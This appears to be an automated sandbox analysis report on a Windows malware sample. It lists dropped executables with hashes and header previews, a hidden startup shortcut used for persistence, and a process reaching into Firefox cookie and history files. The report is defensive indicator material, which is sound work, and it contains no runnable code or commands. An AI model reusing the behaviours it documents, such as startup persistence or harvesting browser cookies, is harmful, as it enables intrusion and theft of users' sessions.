Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H.....................l............... .....P.................................8...............................P...'...`.......................t...L.......^.............."....................................y...............................text...4........................... ..`.itext.............................. ..`.data...\!... ..."..................@....bss....<....P..........................idata.......`.....................@....edata...'...P...(..................@..@.rdata.."............8..............@..@.reloc...^.......`...:..............@..B.rsrc...............................@..@.....................t..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\vclx120.bpl

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	228872
Entropy (8bit):	6.587649015139548
Encrypted:	false
SSDEEP:	3072:f4af8kXL6nX0YXjvkWQ5vYhbNkWPFOEJ8YZbjeTl0Y25zFgYBzRKy6sB65avEtAf:Qaf8kLWL7Xov8bNxdOmrfgYmHA6G
MD5:	8AAA3926885B3FA7AE0448F5E700CB79
SHA1:	47BD7D281DDDE5EBEF8599482212743BF2F7E67B
SHA-256:	47396C301FBE78BFAF9E344936A0F7A4E6D174C096F847E160D822E48012162D
SHA-512:	86D395CA89EC2A988F035ECB32640DDAC99247E2568673246388FE310E8C3A44807049E8F3482FAE86C453D5E3529A8F2DAF8614A1086B6D979E64FD917BBE3A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H..........................................1P.................................E...................................\|......&....P...>...........2...L... ...!..............!................................... ................................text...8........................... ..`.itext.............................. ..`.data...P...........................@....bss....<................................idata..&...........................@....edata...\|.......~...R..............@..@.rdata..!...........................@..@.reloc...!... ..."..................@..B.rsrc....>...P...>..................@..@.....................2..............@..@................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Fri Aug 30 00:17:27 2024, mtime=Fri Aug 30 00:17:27 2024, atime=Fri Aug 30 00:17:08 2024, length=3058688, window=hide
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.912470403681657
Encrypted:	false
SSDEEP:	24:8FgsOcpKRxgKjiuLT91vMA+5fnmti4HesP3qyFm:8FPOaKRliqT95QnpyF
MD5:	05D9CD7D838D856C8BA4DA805D719B04
SHA1:	110E3CDDD76BE13EEAAB80F9377B97378DB376FC
SHA-256:	7DCC88AD74F1BD45B22EECECB4EA4CA89B64B9DDB33F0CE4E5D3A71BCA25C88A
SHA-512:	6CAFA73E71EF9BDC6260BFEDCAE0E19C253F1301DA73B0E25AC9544B08895A9CC8F0B51453BBA9FE716DD1AD981190ABB18F07EC358C6F42F9496891B1982AF8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ....m.`z....m.`z.....bUz...........................4.:..DG..Yr?.D..U..k0.&...&......vk.v....9C.Iz.....*az.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................)..L.o.c.a.l.....N.1......Y....Temp..:......CW.^.Y......l......................BF.T.e.m.p.....f.1......Y....POWERE~1..N.......Y...Y.............................V:.P.o.w.e.r.E.x.p.e.r.t.N.N.T.....r.2......Y%. .POWERE~1.EXE..V.......Y...Y......T........................P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.......r...............-.......q...................C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe....P.o.w.e.r.E.x.p.e.r.t.N.N.T.>.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.........\|....I.J.H..K..:...`.......X.......724536...........hT..CrF.f4... ..T..b...,..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6604864
Entropy (8bit):	7.209519410738763
Encrypted:	false
SSDEEP:	98304:VVFSDIq56ixXFufE6JJh60V+A1kxH8Tio1NEAyKGC2TRTS:VVFSDIslxXwsmJ40V+KsEv1ZJKdu
MD5:	BD2891236510C953D469E346D092F0C7
SHA1:	6409A3259B18ECF91D2FF6A43FF319C2F8158BE2
SHA-256:	1CF403233A05FD6140F33DF350F8EDCCF51EEA02746C6BA4AB3E31B32B8BAB44
SHA-512:	409ABB8CE3382297BB669E7B7EDFA44B0C2166831A6212223237245CBA0595CF35592EC9755C839A69372BD0A4E96C74B98E7BCA375A82B3E0707658D4B5802D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c...................M...........M.. ....M...@.. ........................d.......d...@.................................p.M.K.....M..............:d.@.....d.......M.............................................. ............... ..H............text....M.. ....M................. ..`.sdata........M.......M.............@....rsrc.........M.......M.............@..@.reloc........d......8d.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2267560
Entropy (8bit):	7.958355114381863
Encrypted:	false
SSDEEP:	49152:+pz3Pkl9C5YsSCtqMW5W3s9cMqh+QdncgdUgYT1Vlz2sTyNX:+pjklcSLMx3s9PqJJcKOz9TWX
MD5:	3618E31C4BBB164B9BA20250D25628A3
SHA1:	0C9E23ABF8A883B9B0792AA40D7EDF2F8E9D37CA
SHA-256:	B241DFCD5988EDB1286F4E45C0FBDBBD159D2F350B17DEB9FCE80B9236142BE7
SHA-512:	10A393BE4C527F8865159E73137EA9974654985B68E72089D3722D8D239FD88689234A77DA47EA802C3978BBECB64527B4467E63005F5ADC6A17DBFB07F7F27A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...~.&L.....................................0....@..........................0.......3.......................................P.......................................................................................0...............................text............................... ..`.rdata...0...0...2..................@..@.data...,)...p.......H..............@....rsrc................P..............@..@........U.......SVWj'.....u..v..=`2A..6P......P..e......~..v8.^..3......h.3A.P..........P......P..p1A..E..E....;F.r......P.,f..Y.-..j...t1A...t$..l....3.9..wA.t...@....9D$.t..t$.Ph.....5.wA....2A.3.....D$..`...\|$..u..@.....3.....D$...V...t...P.Q...^....T$.V.t$......f..BBFFf..u.^.L$.3.f9.t.@f.<A.u..S.\$.V..C;^.tLW3.j.Z...........Q......3.9F.Y~.9F.~...f..Af..G@;F.\|..6....Y.F..>f.$G..^._^[...U..QQ..lwA..uVj.j..E.P.5.wA...l1A...t>.E.;E.w6r..E.;E.s,j*.....P.He.....YYt...(wA.j.....@... .

C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	212520
Entropy (8bit):	7.967073935527294
Encrypted:	false
SSDEEP:	6144:6iESlaraEqoRhgln8pp/TmFAlswna+STECEO:J7mlN08PCF+aDECEO
MD5:	7FEE72EA1DD13C340355BAA7FE9C574A
SHA1:	27896F73EDDC109BBC669B4B1054A60E0C87BBFC
SHA-256:	A5F93EDE5291955FC129FA0DAE4DC954FD3CA29D2D975DE969DC563C0D10085E
SHA-512:	7B585FCC523E8C64847D1C70F744D4053D03A75C37F76E1264A6165AF8A6E2E9CC73D2677DE24E81C2C4EC665798E05DFF5BC20C3956B7A2901798D090A0D381
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................+... ...@....@.. ...............................K....`.................................X+..S....@..................(&...`...... ............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......x................................................................%..y.....w.U%.B......N2.9p.............@..V.%.%.7...=.:.....u;7.y.&....R.J.[.yA.4-.F... .@.6.n.N..3.9i....w...;p.s.W...m.!.......2.....N....1..~.....}E..~.i=B....t..&bc`w1.{.l..%m.U#8.R...........j&.<.z..x...q.......n..;.t....ue...%r34.Gxu.......U.\.`.......V..,.....tX..\|<........1.^+..?.M...f.!,..v..e..M..f.2....C..`...`....D.#Z.Agp........-+...-...W.....KM._4..".)..O..6.#,..t...I

C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6497280
Entropy (8bit):	7.654418976464022
Encrypted:	false
SSDEEP:	98304:n4ItqPNZrAUcblYGW70NPPYi8SFJkOV2TgC6fGFVLOa/xfosZrG0tA:n47PNZPmWQJPYi8mkTglSJOa11xG
MD5:	C835AA61191A38F357333FFF57F6C81A
SHA1:	5319123A505E379A75F00EE5A51588A97B2BDAD8
SHA-256:	AE5960C2EB7035BFE0C9A2233E4B8F965C39815A49558A19C025B7BE5CF6E5FE
SHA-512:	2864B0D47287DAE58D2F46AE7A5EDFD2B0A274E05706A7718DCFF7F8C908D3B6E5B8550A2C978CDC3782535FD864092A20A2836FD25F7A7A6CC61D589F582F14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....0...................2..~0.....~.2.. ....2...@.. ........................c...........@.................................0.2.K.....3.Du0...................c.......2.............................................. ............... ..H............text.....2.. ....2................. ..`.sdata........2.......2.............@....rsrc...Du0...3..v0...2.............@..@.reloc........c......"c.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1068804
Entropy (8bit):	7.908307822457223
Encrypted:	false
SSDEEP:	24576:T3ThU20saWF461GGhJryB+dItlXPoxt1tXNq7pk04o9wynZTAgEXt:7OcXDGG/uua1Y3XwpkkagGt
MD5:	ABB713CF90E8345C0B6B79345CBDC9D6
SHA1:	67E705D4070B58994F0B718005D5F07FEF824192
SHA-256:	BFE19615479CFF03AD963D8206C2E3E89DDAFD30BB4978E27976295214D3F295
SHA-512:	809B8C6AAE46674C4C5FE24A98AE1FA065AB24D44C42E56B85946D7CC039F4139EB34E62DAAF2EA1058180884A72C411D639C79EACC491E7FDB555A11B4DD524
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8............@.......................................@.................................4........@...=......................d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc....=...@...>..................@..@.reloc..2...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3058688
Entropy (8bit):	7.736687471087767
Encrypted:	false
SSDEEP:	49152:0ZtPveU3miDZ7Ip3nPAo/4kDaJXupYeZ7StUoZDMT0bUW8O:AtPveU31yf3/4IQUYrt5MqUR
MD5:	D4AC1A0D0504AB9A127DEFA511DF833E
SHA1:	9254864B6917EBA6D4D4616AC2564F192626668B
SHA-256:	A29C9EBECBE58F11B98FA8F685619E46BBE0A73CA7F770A71A14051AA0BD9848
SHA-512:	59B707D1C4F3C66337EC2F913DE4B3506786A31108FC621BDBE7201490E91B0F7B70505763F71D53EEE0EAACF477DC6EF9CD50769881654DAF1B678EAAF994C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F....................,...........,.. ....,...@.. ....................... /...........@.................................`.,.K.....,.\...................../.......,.............................................. ............... ..H............text.....,.. ....,................. ..`.sdata........,.......,.............@....rsrc...\.....,.......,.............@..@.reloc......../.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1793024
Entropy (8bit):	7.945102321158745
Encrypted:	false
SSDEEP:	49152:QpmlJkbrv8l4VUJbL7Ly9QhXNe1A0KatPa+gB:QKJGQCVszqQHR0ja+U
MD5:	9EE7D1FB0F1E8A7A998DA096B4DA22A9
SHA1:	11CF686CB71EA7FBDE2C0448DDD1F12AB44A393E
SHA-256:	7394ADBF1FE4A07AA08D1E7D25C10B28994EB7EB8671B8EF767C349B5B44C37D
SHA-512:	8AD5940613076E0EC4A55DE21D21473EA73C2FE55C61B7C1B9AB444028290E1C987AC458DC59CD7356A692CF725EB285099BE22CDF678D00F42A2BF23642AB1B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B".......h...........@...........................h...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... ..*...$......N..............@...trzlrlhz......N......P..............@...xbmoezwd.....ph......6..............@....taggant.0....h.."...:..............@...................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	913051
Entropy (8bit):	7.830131541214044
Encrypted:	false
SSDEEP:	24576:tEbCyouWvEBYeO3QnE4t4BVb5iaSHLKvm+pq6GabL8Z:2WpM4apHLCm+M6l/o
MD5:	2F5226B4116CE79AFB6DCB32FA647954
SHA1:	15F395C9A4A894A660D318A6779094D311F0A1F7
SHA-256:	8FEBC589FC4DE7B009D3E406FDDBA66E389D5544BC5FAD44D03F712EBF6C2BFA
SHA-512:	7FE94C2ADF2D5526A9798B1FDDF62984B49787B5C0ED2E9EF2AEB765BA9922ECDA8D71FE7966452B3E84A4B84E37096F5DD9C0E700F99DC94FE5D261C36C1013
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8............@..........................`............@.................................4........@..........................d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc........@......................@..@.reloc..2....P......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\gaIov2Is_504r_FzjtBPhuSZ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	39
Entropy (8bit):	4.31426624499232
Encrypted:	false
SSDEEP:	3:ErAbcBxYAFDJvzqxgl:1wBxYA7vzqxg
MD5:	D4AC7F1BBA70BA87C56E6D93092B7CCA
SHA1:	96492A95A7F9153EED58A3598C4CCE56EDC6F8D1
SHA-256:	91218093A08027E8F69C8051F9DEEF1FE6C22B278B3F6BDF761E7587CB272774
SHA-512:	AFDE5B08290C83B95037CACE1B4625457690C824E21615A01413CE8A1040F8C86CD6ABD873DDD57D31C053F835C0F05EB5CDA2B102A17EF558240E73A1AFD1F4
Malicious:	false
Reputation:	unknown
Preview:	The page could not be found..NOT_FOUND.

C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5451592
Entropy (8bit):	7.223665701999716
Encrypted:	false
SSDEEP:	98304:4TobfcOYHoZYPWfyu9LcUp5+ZSoue+BULFXXXX1NRq:2+kOco1vxP+ZSu+ynq
MD5:	0A7F5D0B4DAB9C77DC68DB0EA99B0058
SHA1:	E99B374879D91256E8DC4F3891C5C2D5F344CC0C
SHA-256:	ABEA6EE012F90AFA881358EDE9697E15536ADDEC7CE52F4D8BDC9429F56952A2
SHA-512:	6AFA7B662BFD13AA171C1B46AC6FDF0674267B4B7E3094CCAFDBBAC184E3DC67EF0D2EA1C26D4EA465C3A264E7B3A95D1C66241279AB08DF946BEBDFB0E98606
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)...................PB..P......~oB.. ....B...@.. ....................... S.......S...@.................................0oB.K.....B..I............R.H.....S......nB.............................................. ............... ..H............text....OB.. ...PB................. ..`.sdata..b.....B......TB.............@....rsrc....I....B..J...XB.............@..@.reloc........S.......R.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4396288
Entropy (8bit):	7.9984690907708
Encrypted:	true
SSDEEP:	98304:KBPC4/dWqG1a/RTuutb7/ZnNJ9f+TkId0Bg2C4:sPC4//ZyKfNNJwXd0Bg2C
MD5:	4D507C9C74752CCC691C56AF0E3C09E8
SHA1:	AA5D9A02C082896DD28C5649D622F654ED183F11
SHA-256:	2B5DDCAFF975650F9155E6061F012521F3095611F2CD93FFFF023B6F0CA9CEE4
SHA-512:	31CECD77FD29DFDE494DA59C9485AA57C9E18666DA084D136D14A2E1449A2CB2E1376577A2E4F77229853530757079902B174BC54A6EBE3018C5DF4EB21B619D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......$.............@..........................@......G.D..........@..............................P........,............B.`...........................................................................................CODE....D........................... ..`DATA....L...........................@...BSS.....L................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468735846373083
Encrypted:	false
SSDEEP:	6144:FIXfpi67eLPU9skLmb0b4DWSPKaJG8nAgejZMMhA2gX4WABl0uNCdwBCswSb9:mXD94DWlLZMM6YFHo+9
MD5:	E21720F4C7D74A2514281617D24AB506
SHA1:	84D002ECCD0B9AE12FC3F16C3A850341BDA2B6C3
SHA-256:	FBF5FF28CF25FC3FDA518D59A9873ED169A9C6C13AA591D59D4C74C13D953C80
SHA-512:	D6B3285676D8ED428305C630BFAAB38E0B4114D6E721EDBB54723EAB3F186CCFE8FD9F95027D0AF9567CC6FC042EF39C0595F01097F7E18863436531752B35D1
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm:.!az................................................................................................................................................................................................................................................................................................................................................6U........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.194214034079665
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	kqS23MOytx.exe
File size:	9'175'040 bytes
MD5:	439228705ba8cbe4be1c1bf8343913ac
SHA1:	32c20b85f846d03350b9e6f252c1e2653de0ee0d
SHA256:	11f7ecd0569fba241fff758417113ab60c8f8cbed796222c3883037aa3ece16b
SHA512:	29c59e6b3de46de65302d133dd052919e2437aa0648cf28d1a9696983ec5fffc0e2e02b27417059548ec0c4cda2fdd632d82407cbcc96e022694b4fbba394ed3
SSDEEP:	196608:mvH83m8Nq9jzrGpdg47mWrB0W//nO6UOO:mkW8QjGwSmWKWnOO
TLSH:	3D96AF12BA88CF56C06E5237C8EF841413FCE985BB13EA6B799C736C68423B5191E1DD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$a..............................8... ...@....@.. ....................... ......1.....@................................

File Icon


Icon Hash:	1c3c3c4c64244d41

Static PE Info

General

Entrypoint:	0xc7389e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD8612498 [Sat Jan 13 17:23:36 2085 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
